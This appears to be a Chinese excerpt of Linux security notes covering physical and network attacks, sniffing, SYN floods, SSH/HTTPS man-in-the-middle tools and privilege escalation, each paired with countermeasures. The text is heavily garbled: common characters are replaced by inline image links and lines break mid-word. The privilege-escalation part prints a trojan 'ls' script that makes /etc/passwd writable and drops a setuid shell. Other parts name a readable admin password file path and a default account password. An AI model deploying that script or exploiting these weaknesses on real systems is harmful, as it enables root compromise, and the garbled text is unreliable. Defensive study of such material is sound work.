![](/icons/41291dou.gif)
也包括网络方面
![](/icons/41291dou2.gif)
网络漏洞扫描
![](/icons/41291chengxu.gif)
iss,satan,Nessus
加密文件系统
CFS,TCFS,BestCrypt,PPDD,Encrypted
第 4章 社交工程、特洛伊木马和其他黑客伎俩
第 5章 物理攻击
物理攻击小结
1、不要把口令或访问ID记在别人可以看到
![](/icons/41291de.gif)
地方
![](/icons/41291dou2.gif)
2、不要把电话本
![](/icons/41291dou.gif)
组织结构图
![](/icons/41291dou.gif)
备忘录
![](/icons/41291dou.gif)
内部手册
![](/icons/41291dou.gif)
会议安排或内部安全策略遗忘在容量
被阅读或偷窃
![](/icons/41291de.gif)
地方
![](/icons/41291dou2.gif)
3、在丢弃打印文档
![](/icons/41291dou.gif)
电子介质或客户数据时必须谨慎从事
![](/icons/41291dou.gif)
把敏感材料标记为“敏感”
![](/icons/41291dou.gif)
在
处理前粉碎敏感
![](/icons/41291de.gif)
文件和手册
![](/icons/41291dou2.gif)
抹去电子介质中
![](/icons/41291de.gif)
数据
![](/icons/41291dou.gif)
并且把所有
![](/icons/41291de.gif)
垃圾箱放置在照明状
况良好
![](/icons/41291de.gif)
保护区域
![](/icons/41291dou2.gif)
4、在标记网络设施时必须谨慎
![](/icons/41291dou2.gif)
将这些信息记录在清楚
![](/icons/41291de.gif)
网络图中
![](/icons/41291dou.gif)
并将其锁起来
![](/icons/41291dou2.gif)
5、 使用好
![](/icons/41291de.gif)
屏幕保护
![](/icons/41291chengxu.gif)
![](/icons/41291dou.gif)
确保带有口令
![](/icons/41291dou.gif)
并且在运行时隐藏屏幕内容
![](/icons/41291dou2.gif)
将延迟时间设置
6、 为合理值---在合理时间后就运行它
![](/icons/41291dou2.gif)
6、必须离开系统时
![](/icons/41291dou.gif)
锁定屏幕
![](/icons/41291dou2.gif)
7、 使用便携机时
![](/icons/41291dou.gif)
必须尽可能在所有时间都将其带在身边
![](/icons/41291dou2.gif)
对窃贼
![](/icons/41291de.gif)
那些把它从你身过分
8、 开
![](/icons/41291de.gif)
诡计保持警惕
![](/icons/41291dou2.gif)
对进入工作场所
![](/icons/41291de.gif)
每个便携机贴上标签
![](/icons/41291dou.gif)
在带离时对其进行安全检查
![](/icons/41291dou2.gif)
8、避免使用双重启动系统
![](/icons/41291dou.gif)
linux
![](/icons/41291de.gif)
安全性取决于机器中安装
![](/icons/41291de.gif)
安全性最差
![](/icons/41291de.gif)
系统
![](/icons/41291dou2.gif)
9、在启动加载时
![](/icons/41291chengxu.gif)
中设置保护口令
![](/icons/41291dou.gif)
防止可能获得root权限
![](/icons/41291de.gif)
非法重启方式
![](/icons/41291dou2.gif)
10、设置BIOS口令
![](/icons/41291dou.gif)
以防止其被修改
![](/icons/41291dou2.gif)
11
![](/icons/41291dou.gif)
将所有敏感系统放在加锁
![](/icons/41291de.gif)
房间
![](/icons/41291dou.gif)
以防止破坏
![](/icons/41291dou2.gif)
12、使用好
![](/icons/41291de.gif)
加密文件系统可以防止那些获得系统权限
![](/icons/41291de.gif)
人看到机密数据
![](/icons/41291dou2.gif)
这应当作为安全防卫
![](/icons/41291de.gif)
底线
![](/icons/41291dou2.gif)
第 6章 网络攻击
合法
![](/icons/41291de.gif)
tcp标志组合
标志组合 含义
SYN 这是tcp连接
![](/icons/41291de.gif)
第
![](/icons/41291yi.gif)
个数据包
![](/icons/41291dou.gif)
表示希望和目标系统建立连接
![](/icons/41291dou2.gif)
SYN|ACK 目标系统通过确认原始消息和发送SYN信息来响应SYN数据包
![](/icons/41291dou2.gif)
ACK 在连接建立期间
![](/icons/41291de.gif)
每
![](/icons/41291yi.gif)
个数据包都要设置其ACK位
![](/icons/41291dou.gif)
以确认前面收到
![](/icons/41291de.gif)
数据
包
![](/icons/41291dou2.gif)
FIN 在连接准备关闭时
![](/icons/41291dou.gif)
发送FIN给对方
![](/icons/41291dou2.gif)
FIN|ACK 这
![](/icons/41291yi.gif)
组合用于确认第
![](/icons/41291yi.gif)
个FIN包
![](/icons/41291dou.gif)
并完成关闭步骤
![](/icons/41291dou2.gif)
RST 当系统接收到不期望
![](/icons/41291de.gif)
数据包时
![](/icons/41291dou.gif)
发送RST包重置连接---例如
![](/icons/41291dou.gif)
系统在未发出SYN
![](/icons/41291de.gif)
情况下收到SYN|ACK
![](/icons/41291dou2.gif)
ICMP类型代码
类型代码 ICMP消息
0 回波响应(响应PING)
3 目
![](/icons/41291de.gif)
地址不可到达
4 源终结
5 重定向
8 回波(PING请求)
11 TTL超时
12 参数问题
13 请求时间戳
14 响应时间戳
17 地址掩码请求
18 地址掩码响应
攻击
![](/icons/41291cuowu.gif)
配置
![](/icons/41291de.gif)
NFS导出
为了保护文件系统不被非法访问
![](/icons/41291dou.gif)
应当让防火墙阻塞NFS
![](/icons/41291dou.gif)
通过阻止对NFS(2049端口)
![](/icons/41291de.gif)
进入连接可以做到这
![](/icons/41291yi.gif)
点
![](/icons/41291dou2.gif)
如果内部确实需要
![](/icons/41291dou.gif)
确保它只导出必需
![](/icons/41291de.gif)
文件系统
![](/icons/41291dou2.gif)
例如
![](/icons/41291dou.gif)
在
允许远程加载用户主目录时
![](/icons/41291dou.gif)
使用/home 替代/
![](/icons/41291dou2.gif)
为了验证是否正确配置了NFS
![](/icons/41291dou.gif)
检查
/etc/exports和/etc/dfs/dfstab以确信没有以读写权限向外导出任何东西
![](/icons/41291dou2.gif)
攻击Nestscape默认配置
SuiteSpot是
![](/icons/41291yi.gif)
个工具用于管理web服务器
![](/icons/41291dou.gif)
其中包含实现这
![](/icons/41291yi.gif)
功能
![](/icons/41291de.gif)
java and javascript code.
它将Nestscape服务器
![](/icons/41291de.gif)
用户名和口令配置保存在服务根目录下
![](/icons/41291de.gif)
文件中
![](/icons/41291dou.gif)
默认可被任何人
读取
![](/icons/41291dou2.gif)
位于/web_server root/admin-serv/config/admpw
![](/icons/41291dou2.gif)
在网络上使用web浏览器并将url指
向该文件
![](/icons/41291dou.gif)
就可获得
![](/icons/41291dou2.gif)
文件格式为user:password
![](/icons/41291dou2.gif)
虽然这个文件是加密
![](/icons/41291de.gif)
![](/icons/41291dou.gif)
但可以对口令进
行蛮力攻击
![](/icons/41291dou2.gif)
所以应保护admpw文件
![](/icons/41291dou.gif)
攻击配置
![](/icons/41291cuowu.gif)
![](/icons/41291de.gif)
Squid服务器
Squid可以被
![](/icons/41291cuowu.gif)
地配置成允许外部地址作为访问内部系统
![](/icons/41291de.gif)
代理
![](/icons/41291dou2.gif)
这使攻击者能够以该服
务器为代理来察看或访问内部网络
![](/icons/41291dou.gif)
即使其地址不能被路由
![](/icons/41291dou2.gif)
squid.conf文件
![](/icons/41291de.gif)
![](/icons/41291yi.gif)
个
![](/icons/41291cuowu.gif)
配
置如下:
tcp_incoming_address <squid system external address>
tcp_outgoing_address <squid system
![](/icons/41291int.gif)
ernal address>
udp_incoming_address <squid system external address>
udp_outgoing_address <squid system
![](/icons/41291int.gif)
ernal address>
对策:
首先设置正确
![](/icons/41291de.gif)
防火墙规则以阻塞外部地址对端口3128(代理端口)
![](/icons/41291de.gif)
连接
![](/icons/41291dou2.gif)
然后编辑配
置文件
![](/icons/41291dou.gif)
确信下面这些内容
![](/icons/41291de.gif)
正确性
![](/icons/41291dou2.gif)
tcp_incoming_address <squid system
![](/icons/41291int.gif)
ernal address>
tcp_outgoing_address <squid system external address>
udp_incoming_address <squid system
![](/icons/41291int.gif)
ernal address>
udp_outgoing_address <squid system external address>
x windows system
它使用端口6000---6063
攻击
![](/icons/41291cuowu.gif)
![](/icons/41291de.gif)
X 配置
![](/icons/41291dou2.gif)
xhost工具用于保障X
![](/icons/41291de.gif)
基本安全性
![](/icons/41291dou.gif)
用户可以使用这
![](/icons/41291yi.gif)
![](/icons/41291chengxu.gif)
指定允
许连接本地X服务器
![](/icons/41291de.gif)
系统
![](/icons/41291dou2.gif)
如果不带参数执行
![](/icons/41291dou.gif)
则列出所有允许连接
![](/icons/41291de.gif)
系统
![](/icons/41291dou.gif)
可以通过
如下命令添加新和系统
![](/icons/41291dou2.gif)
# xhost + <system name>
如果省略system and name
![](/icons/41291dou.gif)
则任何系统都可以建立连接
![](/icons/41291dou2.gif)
这样入侵者可以通过xkey
![](/icons/41291chengxu.gif)
记
录用户在X窗口介面上
![](/icons/41291de.gif)
所有击键序列
![](/icons/41291dou2.gif)
另
![](/icons/41291yi.gif)
个类似
![](/icons/41291chengxu.gif)
是xscan
![](/icons/41291dou.gif)
可以扫描网络以查找X
系统
![](/icons/41291de.gif)
漏洞
![](/icons/41291dou2.gif)
对策:
主要是在防火墙上阻塞端口6000--6063
![](/icons/41291dou2.gif)
# ipchains -A input -p tcp -j DENY -s 0.0.0.0/0 -d 0.0.0.0/0 6000:-6063
如果不允许阻塞
![](/icons/41291dou.gif)
可以-auth参数启动xinit
![](/icons/41291chengxu.gif)
![](/icons/41291dou2.gif)
则系统将在认证时使用“magic cookies”
![](/icons/41291dou2.gif)
或者以ssh传送X会话
![](/icons/41291dou2.gif)
使用X11
![](/icons/41291de.gif)
ssh时
![](/icons/41291dou.gif)
远程root用户对本地X服务器拥有全部权限
![](/icons/41291dou2.gif)
在双方信任时才使用X11
![](/icons/41291de.gif)
ssh
![](/icons/41291dou2.gif)
默认口令
Prianha
red hat提供
![](/icons/41291de.gif)
用于linux 服务器
![](/icons/41291de.gif)
Prianha虚拟服务器和平衡软件Software包
![](/icons/41291dou2.gif)
在Prianha-gui
![](/icons/41291chengxu.gif)
![](/icons/41291de.gif)
0.4.12版中存在
![](/icons/41291yi.gif)
个名为prianha
![](/icons/41291de.gif)
帐号
![](/icons/41291dou.gif)
其默认口令为q
![](/icons/41291dou2.gif)
对策是修改所有系统和网络设备
![](/icons/41291de.gif)
默认口令
![](/icons/41291dou2.gif)
嗅探网络信息
嗅探器工作时
![](/icons/41291dou.gif)
将网卡设置成所谓
![](/icons/41291de.gif)
混杂模式
![](/icons/41291dou.gif)
在该模式下
![](/icons/41291dou.gif)
网卡会将每个帧
![](/icons/41291de.gif)
数据都传送
给协议而不检查其MAC地址
![](/icons/41291dou2.gif)
这样
![](/icons/41291dou.gif)
系统中
![](/icons/41291de.gif)
嗅探器就能够检查帧中
![](/icons/41291de.gif)
数据
![](/icons/41291dou.gif)
并摘取感兴
趣
![](/icons/41291de.gif)
信息
![](/icons/41291dou2.gif)
其中包括报头信息或其它信息
![](/icons/41291dou.gif)
如口令和用户名
![](/icons/41291dou2.gif)
很多协议以未加密方式发送敏
感信息
![](/icons/41291dou.gif)
因此黑客就能够使用嗅探器获是系统
![](/icons/41291de.gif)
访问权限
![](/icons/41291dou2.gif)
如telnet,ftp,http中
![](/icons/41291de.gif)
口令和用户
名都直接在网络上传播
![](/icons/41291dou.gif)
此外
![](/icons/41291dou.gif)
![](/icons/41291yi.gif)
些基于web
![](/icons/41291de.gif)
管理工具也以
![](/icons/41291yi.gif)
般
![](/icons/41291de.gif)
http协议来传送用户
名和口令
![](/icons/41291dou.gif)
例如webmin就是这样
![](/icons/41291de.gif)
![](/icons/41291dou2.gif)
避免受到嗅探器危害
![](/icons/41291de.gif)
最好办法是不要在网络上以未
经加密
![](/icons/41291de.gif)
方式传送用户名和口令
![](/icons/41291dou.gif)
通过使用ssh 代替telnet,用https代替http传送敏感信息
可大大加强安全性
![](/icons/41291dou2.gif)
常见
![](/icons/41291de.gif)
嗅探器
tcpdump,hunt,linux-sn
![](/icons/41291if.gif)
f,snort
口令猜测
在大多数linux中
![](/icons/41291dou.gif)
口令长度被限制在8个
![](/icons/41291zifu.gif)
![](/icons/41291dou2.gif)
如果只能使用小写字母
![](/icons/41291dou.gif)
则总畏惧26
![](/icons/41291de.gif)
8
次方(大约2090亿)种组合
![](/icons/41291dou.gif)
如果允许使用大写字母和数字
![](/icons/41291dou.gif)
则有62
![](/icons/41291de.gif)
8次方(大约218
万亿)种组合
![](/icons/41291dou2.gif)
对策:
保护系统帐号
![](/icons/41291dou.gif)
关闭finger and rwho服务
![](/icons/41291dou2.gif)
限制root只能从控制台登录
![](/icons/41291dou2.gif)
可以通过修改
/etc/securetty文件做到这
![](/icons/41291yi.gif)
点
![](/icons/41291dou2.gif)
这个文件列出了root可以登录
![](/icons/41291de.gif)
tty(终端)
![](/icons/41291dou.gif)
在该文件中只
包括tty1--tty6
![](/icons/41291dou.gif)
就能限制root只能从控制台登录
![](/icons/41291dou2.gif)
如果从该文件中删除所有行
![](/icons/41291dou2.gif)
则任何人
在获得root权限前必须首先以其他用户登录
![](/icons/41291dou.gif)
然后使用su
![](/icons/41291dou2.gif)
修改/etc/login.def中
![](/icons/41291de.gif)
最小口令
长度
![](/icons/41291dou2.gif)
缓冲区溢出漏洞
当开发者在
![](/icons/41291chengxu.gif)
中采用
![](/icons/41291cuowu.gif)
![](/icons/41291de.gif)
思路方法编写操作代码时
![](/icons/41291dou.gif)
则可能导致缓冲区溢出
![](/icons/41291dou2.gif)
罪魁祸首多半
是标准C语言中
![](/icons/41291de.gif)
![](/icons/41291zifu.gif)
串
![](/icons/41291hanshu.gif)
![](/icons/41291dou2.gif)
例如strcat
![](/icons/41291kh.gif)
,strcpy
![](/icons/41291kh.gif)
,spr
![](/icons/41291int.gif)
f
![](/icons/41291kh.gif)
,vspr
![](/icons/41291int.gif)
f
![](/icons/41291kh.gif)
,scanf
![](/icons/41291kh.gif)
and gets
![](/icons/41291kh.gif)
![](/icons/41291dou2.gif)
这
些
![](/icons/41291hanshu.gif)
在执行前不检查参数
![](/icons/41291de.gif)
大小
![](/icons/41291dou2.gif)
常见
![](/icons/41291de.gif)
攻击所针对
![](/icons/41291de.gif)
![](/icons/41291chengxu.gif)
有
rpc.mountd(nfs),rpc.statd(nsf),imapd/popd,wu-ftp
![](/icons/41291dou2.gif)
![](/icons/41291yi.gif)
旦对系统尝试了缓冲区溢出攻击
![](/icons/41291dou.gif)
通常会
从日志消息中看到这类行为
![](/icons/41291dou2.gif)
对策:
对于不必要服务
![](/icons/41291dou.gif)
关闭它们
![](/icons/41291dou.gif)
或者在防火墙阻塞对其访问
![](/icons/41291dou2.gif)
如果服务是必须
![](/icons/41291de.gif)
![](/icons/41291dou.gif)
就只有
![](/icons/41291yi.gif)
个
对策
![](/icons/41291dou.gif)
就是使系统应用最新
![](/icons/41291de.gif)
补丁
![](/icons/41291dou2.gif)
netstat,lsof工具能识别系统中运行
![](/icons/41291de.gif)
进
![](/icons/41291chengxu.gif)
![](/icons/41291dou.gif)
打开
![](/icons/41291de.gif)
端口等信息
![](/icons/41291dou2.gif)
但这些
![](/icons/41291chengxu.gif)
都不可靠
![](/icons/41291dou.gif)
可
能会被黑客替换
![](/icons/41291dou2.gif)
可以用nmap从外部扫描系统以训别服务
![](/icons/41291dou.gif)
![](/icons/41291yinwei.gif)
从外部扫描
![](/icons/41291dou.gif)
所以不会被
黑客在系统中所做
![](/icons/41291de.gif)
手脚所欺骗
![](/icons/41291dou2.gif)
# nmap -sT -O xxxx 对本系统进行tcp扫描
![](/icons/41291dou2.gif)
# nmap -sU -O xxxx 对本系统进行udp扫描
![](/icons/41291dou2.gif)
第 7章 恶意使用网络
DNS攻击
bind缓冲欺诈
dns是
![](/icons/41291yi.gif)
个分布式系统
![](/icons/41291dou.gif)
使用缓存Cache来降低网络负载
![](/icons/41291dou.gif)
在BIND8.1.1 和4.9.6版中存在
![](/icons/41291yi.gif)
个问
题
![](/icons/41291dou.gif)
即它们没有验证接收自其它名字服务器
![](/icons/41291de.gif)
信息
![](/icons/41291de.gif)
合法性
![](/icons/41291dou2.gif)
黑客利用这个漏洞可以在目村
服务器中插入伪造记录
![](/icons/41291dou.gif)
引导客户到黑客
![](/icons/41291de.gif)
机器上来
![](/icons/41291dou2.gif)
从而捕获口令和敏感信息
![](/icons/41291dou2.gif)
路由问题
源路由
![](/icons/41291dou.gif)
允许发送者指定数据包到达目
![](/icons/41291de.gif)
地前在
![](/icons/41291int.gif)
ernet上经由
![](/icons/41291de.gif)
路径
![](/icons/41291dou2.gif)
这
![](/icons/41291yi.gif)
特点对于网络
勘探很有用
![](/icons/41291dou.gif)
但也能用来绕过安全网关和地址转换
![](/icons/41291dou2.gif)
# cat /proc/sys/net/ipv4/conf/eth0/accept_source_route 0 表示不允许 1 表示允许
不正确
![](/icons/41291de.gif)
ip转发
/proc/sys/net/ipv4/ip_forward文件配置ip转发
![](/icons/41291dou2.gif)
0 表示禁止 1 表示允许
![](/icons/41291dou2.gif)
这个功能对于防
火墙和ip伪装网关是必要
![](/icons/41291dou.gif)
但对于名字服务器
![](/icons/41291dou.gif)
邮件服务器或堡垒主机则不必要
![](/icons/41291dou2.gif)
可能如
下禁止:
# echo 0 > /proc/sys/net/ipv4/ip_forward /etc/sysctl.conf
![](/icons/41291de.gif)
net.ipv4.ip_forward = 0控制系统
启动时是否允许
![](/icons/41291dou2.gif)
Hunt
同时具有数据包嗅探和会话劫持功能
![](/icons/41291dou2.gif)
对策:
采用openssh
![](/icons/41291dou2.gif)
dsn
![](/icons/41291if.gif)
f
是
![](/icons/41291yi.gif)
组优秀
![](/icons/41291de.gif)
网络审计
![](/icons/41291dou.gif)
测试和嗅探工具
![](/icons/41291dou2.gif)
sshmitm
对客户端伪装成ssh服务器
![](/icons/41291dou.gif)
而对服务器伪装成ssh客户端
![](/icons/41291dou.gif)
默认时
![](/icons/41291dou.gif)
它将记录所有用户名
和口令
![](/icons/41291dou2.gif)
对策:
sshmitm依赖于用户忽略对ssh主机密钥
![](/icons/41291de.gif)
检查
![](/icons/41291dou.gif)
当第
![](/icons/41291yi.gif)
次连接服务器时
![](/icons/41291dou.gif)
将会在
$home/.ssh/known_hosts中添加主机密钥
![](/icons/41291dou2.gif)
应当比较这份密钥和实际服务器密钥(通常在文
件/etc/ssh/ssh_host_key.pub or /etc/ssh_host_key/.pub中)
![](/icons/41291de.gif)
![](/icons/41291yi.gif)
致性
![](/icons/41291dou2.gif)
如果两者不匹配
![](/icons/41291dou.gif)
则说
明黑客已经介入过刚才
![](/icons/41291de.gif)
会话
![](/icons/41291dou2.gif)
并获得了口令
![](/icons/41291dou.gif)
应马上断开连接
![](/icons/41291dou.gif)
并通知系统管理员重新设
置口令
![](/icons/41291dou.gif)
以防止帐号被黑客滥用
![](/icons/41291dou2.gif)
为了防止在无意中使用潜在不安全连接
![](/icons/41291dou.gif)
应配置ssh进行
强制
![](/icons/41291de.gif)
主机密钥检查
![](/icons/41291dou2.gif)
即将如下几行写入到$home/.ssh/config
![](/icons/41291de.gif)
起始处
![](/icons/41291dou2.gif)
Host *
StrictHostKeyChecking yes
也可以将系统
![](/icons/41291de.gif)
全局ssh_config文件配置成StrictHostKeyChecking.
目前
![](/icons/41291dou.gif)
Sshmitm仅支持ssh版本1
![](/icons/41291dou.gif)
但并不保证支持ssh版本2
![](/icons/41291de.gif)
软件Software不在开发中
![](/icons/41291dou2.gif)
Webmitm
它
![](/icons/41291de.gif)
工作方式和sshmitm很相似
![](/icons/41291dou.gif)
它监听端口80(http)
![](/icons/41291dou.gif)
和443(https)
![](/icons/41291dou2.gif)
中继对于实际服
务器
![](/icons/41291de.gif)
web请求
![](/icons/41291dou2.gif)
并将结果返回给客户端
![](/icons/41291dou2.gif)
![](/icons/41291yinwei.gif)
webmitm没有真实
![](/icons/41291de.gif)
ssl服务器证书和密钥
![](/icons/41291dou.gif)
所以必须伪造
![](/icons/41291yi.gif)
个
![](/icons/41291dou2.gif)
因此
![](/icons/41291dou.gif)
当第
![](/icons/41291yi.gif)
次运行webmitm时
![](/icons/41291dou.gif)
它将生成
![](/icons/41291yi.gif)
个和openssl相关
![](/icons/41291de.gif)
ssl
密钥和证书
![](/icons/41291dou2.gif)
当用户连接https站点时
![](/icons/41291dou.gif)
其浏览器将试图验证所得到
![](/icons/41291de.gif)
ssl证书
![](/icons/41291dou.gif)
而webmitm
服务器所创建
![](/icons/41291de.gif)
证书未经浏览器数据中保存
![](/icons/41291de.gif)
某
![](/icons/41291yi.gif)
可信官方机构颁发签名
![](/icons/41291dou2.gif)
因此浏览器将弹
出
![](/icons/41291yi.gif)
系列对话框
![](/icons/41291dou.gif)
以确认用户是否要连接到可能
![](/icons/41291de.gif)
欺骗站点
![](/icons/41291dou2.gif)
如果用户点击并忽略所有警告
![](/icons/41291dou.gif)
就能够像
![](/icons/41291yi.gif)
切正常那样访问web站点
![](/icons/41291dou2.gif)
然而
![](/icons/41291dou.gif)
该会话实际上流经webmitm
![](/icons/41291chengxu.gif)
![](/icons/41291dou.gif)
使用其能
访问所有数据
![](/icons/41291dou2.gif)
对策:
和sshmitm
![](/icons/41291yi.gif)
样
![](/icons/41291dou.gif)
比技术问题更重要
![](/icons/41291de.gif)
是用户培训
![](/icons/41291dou2.gif)
当浏览器给出众多Are you sure?这样有
价值
![](/icons/41291de.gif)
提问时
![](/icons/41291dou.gif)
不要简单
![](/icons/41291de.gif)
点击Yes
![](/icons/41291dou2.gif)
SYN潮涌攻击
根据tcp/ip协议
![](/icons/41291de.gif)
规定
![](/icons/41291dou.gif)
在收到最初
![](/icons/41291de.gif)
SYN数据包时
![](/icons/41291dou.gif)
服务器TCP协议栈将相应
![](/icons/41291de.gif)
半连接
记录添加到队列里
![](/icons/41291dou2.gif)
然后等待
![](/icons/41291yi.gif)
会以接收余下
![](/icons/41291de.gif)
握手数据包
![](/icons/41291dou2.gif)
如果成功则从队列中删除该记
录
![](/icons/41291dou2.gif)
由于队列容纳半连接记录
![](/icons/41291de.gif)
数量有限
![](/icons/41291dou.gif)
因此如果许多
![](/icons/41291chushi.gif)
化
![](/icons/41291de.gif)
连接最终没有成功握手
![](/icons/41291dou2.gif)
就会出现问题
![](/icons/41291dou.gif)
![](/icons/41291yi.gif)
旦队列已满
![](/icons/41291dou.gif)
服务器将不再接收新
![](/icons/41291de.gif)
连接
![](/icons/41291dou2.gif)
当攻击者能够以足够快
![](/icons/41291de.gif)
速度
向目标服务器发送SYN数据包以填满该队列
![](/icons/41291dou.gif)
就能够阻塞任何tcp服务
![](/icons/41291dou2.gif)
这就是SYN潮涌
攻击
![](/icons/41291dou2.gif)
如果web服务器不再接受请求
![](/icons/41291dou.gif)
或者甚至连本地连接也变慢
![](/icons/41291dou.gif)
就应使用netstat -nat 来
检查处于SYN_RECV半连接状态
![](/icons/41291de.gif)
连接
![](/icons/41291dou2.gif)
![](/icons/41291yi.gif)
旦发现系统正受SYN攻击
![](/icons/41291dou2.gif)
可以用如下shell
脚本跟踪半连接数量:
#!/bin/sh
while [1] ; do
echo -n "half-open connectons:"
netstat -nat |grep SYN_RECV|wc -l
sleep 1
done
如果为零
![](/icons/41291dou.gif)
介绍说明攻击者放弃了
![](/icons/41291dou2.gif)
如果发现数目达到最大值并趋于平衡
![](/icons/41291dou.gif)
就很不幸了
![](/icons/41291dou.gif)
队列可
能已经满了
![](/icons/41291dou2.gif)
对策:
升级到2.0.29以上版本
![](/icons/41291dou.gif)
在这些版本中增加了队列容量
![](/icons/41291dou2.gif)
并缩短了超时值
![](/icons/41291dou.gif)
从而更加难以填
满
![](/icons/41291dou2.gif)
此外
![](/icons/41291dou.gif)
修改/proc下
![](/icons/41291de.gif)
某几项
![](/icons/41291dou.gif)
以缩短等待SYN|ACK
![](/icons/41291de.gif)
超时时间并增加队列中SYN数
据包
![](/icons/41291de.gif)
最大数目
![](/icons/41291dou2.gif)
/proc/sys/net/ipv4/vs/timeout_synack
/proc/sys/net/ipv4/vs/timeout_synrecv
/proc/sys/net/ipv4/tcp_max_syn_backlog
在受攻击中
![](/icons/41291dou.gif)
可以增加tcp_max_syn_backlog
![](/icons/41291de.gif)
值
![](/icons/41291dou.gif)
减少timeout_*
![](/icons/41291de.gif)
值
![](/icons/41291dou2.gif)
改变这些值会导致
丢失合法连接
![](/icons/41291dou.gif)
但是如果不对SYN攻击采取措施
![](/icons/41291dou.gif)
系统将失去所有连接
![](/icons/41291dou2.gif)
实施出口过滤
很多攻击思路方法都是依赖ip地址欺骗
![](/icons/41291dou.gif)
以掩盖攻击策源地或将响应流量引导到实际并没有发
出请求
![](/icons/41291de.gif)
主机
![](/icons/41291dou.gif)
出口过滤(egress filtering)是阻止欺骗
![](/icons/41291de.gif)
最重要途径
![](/icons/41291dou2.gif)
![](/icons/41291yi.gif)
个连接区别网络
![](/icons/41291de.gif)
路由器应该检查所有
![](/icons/41291de.gif)
外出流量
![](/icons/41291dou.gif)
只有当数据包拥有相应
![](/icons/41291de.gif)
本地网络合法地址时才允许它通
过
![](/icons/41291dou2.gif)
这看起来理所当然
![](/icons/41291dou.gif)
但确实有许多网络允许任何源地址
![](/icons/41291de.gif)
数据包通过
![](/icons/41291dou2.gif)
第 8章 提升用户权限
![](/icons/41291set.gif)
userid
![](/icons/41291chengxu.gif)
以所有者id而不是以使用者id
![](/icons/41291de.gif)
权限运行
![](/icons/41291set.gif)
groupid
![](/icons/41291chengxu.gif)
以组id权限而不是
![](/icons/41291diaoyong.gif)
者id权限运行
![](/icons/41291dou2.gif)
在path中包括“.”
![](/icons/41291de.gif)
坏习惯
在path中包括“.”可以减少用户
![](/icons/41291de.gif)
击键次数
![](/icons/41291dou.gif)
以foo 代替 sh foo或./foo
![](/icons/41291dou2.gif)
这些做法有很大
![](/icons/41291de.gif)
危险
![](/icons/41291dou2.gif)
例如
![](/icons/41291dou.gif)
在/tmp中创建如下
![](/icons/41291de.gif)
ls文件
![](/icons/41291dou2.gif)
#!/bin/sh -
#fake trojan ls
![](/icons/41291if.gif)
chmod 666 /etc/passwd > /dev/null 2>&1 ; then
cp /bin/sh /tmp/.sh
chmod 4755 tmp/.sh
fi
exec ls "$@"
#end of script
如果在环境变量中设置了“.”
![](/icons/41291dou.gif)
并且其位置先于ls所在
![](/icons/41291de.gif)
系统目录
![](/icons/41291dou.gif)
那么当用户在/tmp中执
行命令ls时
![](/icons/41291dou.gif)
执行
![](/icons/41291de.gif)
是上面所给出
![](/icons/41291de.gif)
脚本
![](/icons/41291dou.gif)
而不是实际
![](/icons/41291de.gif)
ls命令
![](/icons/41291dou2.gif)
![](/icons/41291yinwei.gif)
最终还是执行了ls
![](/icons/41291dou.gif)
所以用户不会看出任何异常
![](/icons/41291dou2.gif)
如果执行该命令
![](/icons/41291de.gif)
是root
![](/icons/41291dou.gif)
就会将口令文件设置成为可写
![](/icons/41291dou.gif)
并
将shell复制到/tmp保存成.sh
![](/icons/41291dou.gif)
同时设置其
![](/icons/41291set.gif)
userid位
![](/icons/41291dou2.gif)
所有这
![](/icons/41291yi.gif)
切都非常安静地发生
![](/icons/41291dou2.gif)
在
登录时可以在多个地方修改path
![](/icons/41291dou.gif)
例如/etc/profile or /etc/profile.d中
![](/icons/41291de.gif)
脚本
![](/icons/41291dou2.gif)
手工修改较麻
烦
![](/icons/41291dou.gif)
且容易出错
![](/icons/41291dou2.gif)
建议在bashrc 或.profile文件
![](/icons/41291de.gif)
未尾加如下
![](/icons/41291yi.gif)
行:
PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://'`以删除路径中所有“.”
![](/icons/41291dou.gif)
包括其另
![](/icons/41291yi.gif)
形
式“::”
明文
![](/icons/41291de.gif)
口令
去掉用户文件中
![](/icons/41291de.gif)
![](/icons/41291de.gif)
口令
![](/icons/41291dou.gif)
如fechmail中
![](/icons/41291de.gif)
控制文件
![](/icons/41291dou2.gif)
如果必须那样做
![](/icons/41291dou.gif)
应确保文件只能被
所有者读取
![](/icons/41291dou.gif)
而不能被组成员或其它人读取
![](/icons/41291dou2.gif)
存储在系统文件中
![](/icons/41291de.gif)
口令
有些系统
![](/icons/41291chengxu.gif)
可能需要存储在系统文件中
![](/icons/41291de.gif)
口令
![](/icons/41291dou.gif)
例如samba软件Software包内有
![](/icons/41291yi.gif)
个smbpr
![](/icons/41291int.gif)
![](/icons/41291de.gif)
工具
![](/icons/41291dou.gif)
允许linux使用和windows相连接
![](/icons/41291de.gif)
打印机
![](/icons/41291dou2.gif)
通常
对于拔号上网用户
![](/icons/41291dou.gif)
链接所需
![](/icons/41291de.gif)
用户名和口令通常保存在某个文件中
![](/icons/41291dou.gif)
![](/icons/41291yi.gif)
般ppp将在
/etc/ppp/chap-secrets文件中查口令
![](/icons/41291dou.gif)
而Wvdial则在/etc/wvdial.conf中查找
![](/icons/41291dou2.gif)
使用chmod 600
filename来限制文件
![](/icons/41291dou2.gif)
使用只能被root读取
![](/icons/41291dou2.gif)
使用用户名和口令来控制这种对打印机
![](/icons/41291de.gif)
访问
![](/icons/41291dou2.gif)
要保护保存
![](/icons/41291de.gif)
smbpr
![](/icons/41291int.gif)
口令
![](/icons/41291dou.gif)
必须确保并
非所有用户都能读取/var/spool/lp下
![](/icons/41291de.gif)
每个config文件
![](/icons/41291dou.gif)
在/var/spool/lp目录下查找所有
![](/icons/41291de.gif)
.config文件
![](/icons/41291dou.gif)
对每个文件执行chmod o -rw
![](/icons/41291dou2.gif)
可逆
![](/icons/41291de.gif)
口令
pop3通常以纯文本格式在网上传输用户名和口令认证信息
![](/icons/41291dou2.gif)
这不是
![](/icons/41291yi.gif)
件好事
![](/icons/41291dou.gif)
![](/icons/41291yi.gif)
人替代方
式是使用名Popauth
![](/icons/41291de.gif)
认证思路方法
![](/icons/41291dou2.gif)
Popauth将所有口令以某种可逆
![](/icons/41291de.gif)
加密方式处理后保存在
数据库中
![](/icons/41291dou2.gif)
如果攻击者能够访问该数据库
![](/icons/41291dou.gif)
则系统中所有用户和口令将受到威胁
![](/icons/41291dou2.gif)
如果可能
![](/icons/41291dou.gif)
就不要使用popauth
![](/icons/41291dou.gif)
许多pop3客户端支持ssl加密方式
![](/icons/41291dou.gif)
尽可能使用ssl加密为用户
![](/icons/41291de.gif)
认
证提供保护
